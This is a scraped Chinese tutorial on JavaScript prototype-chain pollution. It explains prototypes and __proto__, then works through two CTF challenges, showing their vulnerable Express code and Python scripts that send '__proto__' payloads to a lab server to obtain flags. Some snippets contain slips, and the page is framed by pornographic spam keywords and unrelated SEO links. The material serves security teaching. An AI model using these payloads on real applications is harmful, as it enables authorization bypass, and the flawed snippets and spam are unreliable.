中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

福州外文網(wǎng)站建設(shè)網(wǎng)站優(yōu)化網(wǎng)絡(luò)推廣seo

福州外文網(wǎng)站建設(shè),網(wǎng)站優(yōu)化網(wǎng)絡(luò)推廣seo,成品網(wǎng)站w灬源碼火龍果,龍華網(wǎng)站建設(shè)專業(yè)公司原型鏈 大部分面向?qū)ο蟮木幊陶Z言,都是通過“類”(class)實(shí)現(xiàn)對象的繼承。傳統(tǒng)上,JavaScript 語言的繼承不通過 class,而是通過“原型對象”(prototype)實(shí)現(xiàn) 1、prototype 屬性的作用 JavaScri…

原型鏈

大部分面向?qū)ο蟮木幊陶Z言,都是通過“類”(class)實(shí)現(xiàn)對象的繼承。傳統(tǒng)上,JavaScript 語言的繼承不通過 class,而是通過“原型對象”(prototype)實(shí)現(xiàn)

1、prototype 屬性的作用

JavaScript 規(guī)定,每個(gè)函數(shù)都有一個(gè)prototype屬性,指向一個(gè)對象

function f() {}
typeof f.prototype // "object"
函數(shù)`f`默認(rèn)具有`prototype`屬性,指向一個(gè)對象

js中類的建立

js 中,定義一個(gè)類,需以定義“構(gòu)造函數(shù)”的方式來定義:

function Foo() {this.bar = 1;
}new Foo();

解析:

Foo函數(shù)的內(nèi)容,就是Foo類的構(gòu)造函數(shù),this.bar就表示Foo類中的一個(gè)屬性

(為簡化編寫js的代碼,ECmAScript6 后增加了class語法,但class其實(shí)只是一個(gè)語法塘)

js中的類中方法的建立

一個(gè)類中必然有一些方法,類似屬性this.bar,也可將方法定義在構(gòu)造函數(shù)內(nèi)部

function Foo() {this.bar = 1;this.show = function() {console.log(this.bar);}
}(new Foo()).show()  // 1

解析:

出現(xiàn)問題:新建Foo對象時(shí),this.show = function()... 就會執(zhí)行一次,這個(gè)show方法實(shí)際上是綁定在對象上的,而不是綁定在“類”中

js中原型prototype的引用

在創(chuàng)建類時(shí)只創(chuàng)建一次show方法,需要使用原型(prototype)

function Foo() {this.bar = 1;
}Foo.prototype.show = function show() {console.log(this.bar);
}let foo = new Foo();
foo.show();

解析:

原型prototype是類Foo的一個(gè)屬性,所有用Foo類實(shí)例化的對象,都有這個(gè)屬性的所有內(nèi)容,包括變量和方法。foo對象,天生具有foo.show()方法

此時(shí)Foo.prototype訪問Foo類的原型,但是Foo實(shí)例化出來的對象,不能夠通過prototype訪問原型

2、__proto__

是 JavaScript 中一個(gè)對象的內(nèi)部屬性,它指向該對象的原型。原型是另一個(gè)對象,包含共享的屬性和方法,對象可以通過原型繼承這些屬性和方法。

js 中__proto__的引用

一個(gè) Foo 類實(shí)例化出來的 foo 對象,可通過foo.__proto__屬性來訪問Foo類中的原型

prototype和__proto__的定義

  1. prototype:一個(gè)類的屬性,所有類對象在實(shí)例化的時(shí)候會擁有prototype中的屬性和方法
  2. __proto__:一個(gè)對象的__proto__屬性,指向這個(gè)對象所在的類的prototype屬性

3、原型鏈繼承

所有類對象在實(shí)例化的時(shí)候?qū)碛?prototype 的屬性和方法,這個(gè)特性被用來實(shí)現(xiàn) js 中的繼承機(jī)制

function Father() {this.first_name = 'Donald';this.last_name = 'Trump';
}function Son() {this.first_name = 'Melania';
}Son.prototype = new Father();let son = new Son();
console.log(`Name:${son.first_name} ${son.last_name}`)
//  Name:Melania Trump

解析:

Son類繼承了Father類的last_name屬性

主要流程:

  1. 在對象son中尋找last_name
  2. 無法找出,則在son.__proto__中尋找last_name
  3. 如果仍然無法找到,則繼續(xù)在son.__proto__.__proto__中尋找last_name
  4. 依次尋找,直到null結(jié)束。如:object.prototype的__proto__就是null

(js 中的這個(gè)查找機(jī)制,被運(yùn)用在面向?qū)ο蟮睦^承中,被稱為是prototype繼承鏈)

PS:

  1. 每個(gè)構(gòu)造函數(shù)(constructor)都有一個(gè)原型對象(prototype)
  2. 對象的__proto__屬性,指向類的原型對象prototype
  3. js 使用prototype鏈實(shí)現(xiàn)繼承機(jī)制

4、原型鏈污染

實(shí)例:

foo.__proto__指向的是Foo類的prototype。若修改foo.__proto__中的值,就可修改Foo類?

// foo是一個(gè)簡單的JavaScript對象
let foo = {bar:1};// foo.bar此時(shí)為1
console.log(foo.bar);// 修改foo的原型(即object)
foo.__proto__.bar = 2;// 查找順序原因,foo.bar仍然是1
console.log(foo.bar);// 此時(shí)用objecr創(chuàng)建一個(gè)空的zoo對象
let zoo = {};// 查看zoo.bar
console.log(zoo.bar);

解析:

修改 foo 原型foo.__proto__.bar = 2,而 foo 是一個(gè)object類的實(shí)例,所以實(shí)際上是修改了object這個(gè)類,給這個(gè)類增加了一個(gè)屬性bar,值為2

后來用object類創(chuàng)建了一個(gè)zoo對象,let zoo = {},zoo對象自然也有一個(gè)bar屬性了

原型鏈污染定義:

如果攻擊者控制并修改了一個(gè)對象的原型,那將可以影響所有和這個(gè)對象來自同一個(gè)類、父類的對象,這種攻擊方式就是原型鏈污染

哪些情況原型鏈會被污染?

哪些情況可以設(shè)置__proto__的值?找到能夠控制數(shù)組(對象)的“鍵名”的操作即可:

使用megre測試

function merge (target,source) {for(let key in source) {if(key in source && key in target){merge(target[key],source[key]);}else{target[key] = source[key];}}
}

merge操作是最常見可能控制鍵名的操作,也最能被原型鏈攻擊

在合并過程中,存在賦值的操作 target[key] = source[key],那么,這個(gè)key如果是__proto__,是不是就可以原型鏈污染呢?

使用如下代碼進(jìn)行測試:

let o1 = {};
let o2 = {a:1,"__proto__":{b:2}};
merge(o1,o2);
console.log(o1.a,o1.b);o3 = {};
console.log(o3.b);

結(jié)果:合并成功,原型鏈未被污染

解析:

js 創(chuàng)建 o2 的過程(let o2 = {a:2,"__proto__":{b:2}})中,__proto__代表o2的原型了,此時(shí)遍歷o2的所有鍵名,拿到的是[a,b],__proto__并不是一個(gè)key,也不會修改object的原型

修改代碼

let o1 = {};
let o2 = JSON.parse('{"a":1,"__proto__":{"b":2}}');
merge(o1,o2);
console.log(o1.a,o2.b);o3 = {};
console.log(o3.b);

解析:

JSON解析的情況下,__proto__會被認(rèn)為是一個(gè)真正的“鍵名”,不代表原型,所以在遍歷o2的時(shí)候存在這個(gè)鍵,

新建的o3對象,也存在b屬性,說明object已被污染

實(shí)例

例1:hackit2018

const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
//目前user并沒有admintoken
var user = []; //empty for nowvar matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);app.get('/', (req, res) => {for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];}res.render('index');
})app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');}    
}
)app.post('/api', (req, res) => {var client = req.body;var winner = null;if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;} if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}})
app.listen(3000, () => {console.log('app listening on port 3000!')
})

解析:

獲取 flag 的條件是傳入的querytoken要和user數(shù)組本身的admintoken的MD5值相等,且二者都要存在;全文沒有對user.afmintoken進(jìn)行賦值,理論上這個(gè)值不存在,但存在以下賦值語句

matrix[client.row][client.col] = client.data;
其中data、row、col,都是post傳入的值,都是可控的。所以可構(gòu)造原型鏈污染

本地測試

payload:使用python傳入?yún)?shù)

import requests
import jsonurl = "http://192.168.174.123:3000/api"
url1 = "http://192.168.174.123:3000/admin?querytoken=5881ca97cfe9782358a88e0b31092814"headers = {"Content-type": "application/json"}data = {"row": "__proto__", "col": "admintoken", "data": "oupeng"}res1 = requests.post(url, headers=headers, data=json.dumps(data))
# json.dumps與json.parse是相同的 
res2 = requests.get(url1)print(res2.text)

運(yùn)行結(jié)果:

例2:

'use strict';const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');const isObject = obj => obj && obj.constructor && obj.constructor === Object;function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}function clone(a) {return merge({}, a);
}// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

解析:

分析題目,獲取flag的條件是:admin.admin == 1,而 admin 本身是一個(gè) object ,其admin 屬性本身并不存在,且有敏感函數(shù) merge

function merge(a, b) { ? ?for (var attr in b) { ? ? ? ?if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}} ? ?
return a;
}// merge函數(shù)的作用是進(jìn)行對象的合并,涉及到對象的賦值,鍵值可控,即可出發(fā)原型鏈污染

本地測試


顯式為undefined,如下

創(chuàng)建字典時(shí),__proto__不是作為鍵名,而是作為__proto__給其父類進(jìn)行賦值,所以在test.__proto__中才有admin屬性,目的是讓__proto__作為鍵值,所以使用JSON.parse()


JSON.parse()會將json字符串轉(zhuǎn)化為JavaScript中的object

此時(shí)創(chuàng)建類的時(shí)候就不會直接給父類賦值了 ,且題中也出現(xiàn)了JSON.parse

payload:使用python傳入?yún)?shù)

import requests
import jsonurl1 = "http://192.168.174.123:3000/signup"
url2 = "http://192.168.174.123:3000/getflag"s = requests.session()headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

運(yùn)行結(jié)果:

附:構(gòu)造函數(shù)無return

function Person(name,age){this.name = name;this.age = age;// PS:沒有顯式的return語句
}const person1 = new Person("ling",22);
console.log(person1); // output:Person(name:'ling',age:22)

在第一個(gè)實(shí)例中,Person 構(gòu)造函數(shù)沒有顯式的 return 語句,因此 new Person("ling",20) 將隱式地返回新創(chuàng)建的 Person 對象實(shí)例,并賦值給 person1 變量

function AnotherPerson(name,age){this.name = name;this.age = age;return{message:"This is returned object."};
}console.person2 = new AnotherPerson("Bob",25);
console.log(person2);// output:{message:'This is returned object.'}

第二個(gè)示例中,AnotherPerson 構(gòu)造函數(shù)有一個(gè)顯式的 return 語句,并返回了一個(gè)新的對象 {message:"This is a object."},在這種情況下,new AnotherPerson("Bob",25) 將返回一個(gè)新的對象,而不是創(chuàng)建的AnotherPerson對象實(shí)例。因此,person2 變量得到的是一個(gè)普通對象而不是AnotherPerson的實(shí)例。

http://www.risenshineclean.com/news/51217.html

相關(guān)文章:

  • 宿州信息網(wǎng)官網(wǎng)seo診斷方法步驟
  • 用手機(jī)怎么制作動漫視頻公司seo推廣營銷網(wǎng)站
  • 訪問網(wǎng)站速度很慢如何推銷自己的產(chǎn)品
  • 關(guān)于網(wǎng)站建設(shè)的介紹鄭州官網(wǎng)網(wǎng)站推廣優(yōu)化
  • 網(wǎng)站注冊域名后怎么做中山谷歌推廣
  • 武漢網(wǎng)站建設(shè)公司華企加速器醫(yī)療器械龍頭股
  • 域名解析到本地服務(wù)器伊春seo
  • 怎么做沒有后臺程序的網(wǎng)站網(wǎng)絡(luò)營銷計(jì)劃書怎么寫
  • 網(wǎng)站建設(shè)報(bào)價(jià)單鄭州網(wǎng)絡(luò)推廣團(tuán)隊(duì)
  • behance設(shè)計(jì)網(wǎng)站注冊各大網(wǎng)站域名大全
  • 網(wǎng)站建設(shè)有什么崗位網(wǎng)站發(fā)稿平臺
  • 關(guān)于網(wǎng)站建設(shè)的請示范文微信最好用的營銷軟件
  • 深圳最亂最窮的地方重慶百度seo排名
  • wordpress靜態(tài)生成頁面青島百度整站優(yōu)化服務(wù)
  • 上海網(wǎng)站設(shè)計(jì)聯(lián)系方式在線視頻觀看免費(fèi)視頻22
  • 設(shè)計(jì)師個(gè)人網(wǎng)站模板湖州網(wǎng)站seo
  • 新疆網(wǎng)站建設(shè)咨詢谷歌paypal官網(wǎng)
  • 男女做那個(gè)網(wǎng)站動態(tài)圖片優(yōu)化設(shè)計(jì)七年級上冊語文答案
  • 行業(yè)信息網(wǎng)站建設(shè)方案房地產(chǎn)網(wǎng)站建設(shè)
  • 深圳網(wǎng)站建設(shè)php廈門seo全網(wǎng)營銷
  • 寧波seo整站優(yōu)化最新國際新聞50條簡短
  • 請人做網(wǎng)站誰來維護(hù)網(wǎng)站關(guān)鍵詞優(yōu)化怎么弄
  • 哪里查網(wǎng)站備案信息企業(yè)員工培訓(xùn)課程有哪些
  • 做網(wǎng)站平臺的營業(yè)執(zhí)照互聯(lián)網(wǎng)廣告推廣好做嗎
  • 廣州個(gè)人網(wǎng)站制作公司網(wǎng)絡(luò)推廣方案
  • 香港公司需要網(wǎng)站備案朋友圈廣告推廣平臺
  • 在百度上做網(wǎng)站推廣神器
  • 有關(guān)互聯(lián)網(wǎng)網(wǎng)站在線查詢網(wǎng)站收錄
  • dw網(wǎng)站二級頁面怎么做搜索引擎算法
  • 購買的網(wǎng)站如何換背景淘寶代運(yùn)營靠譜嗎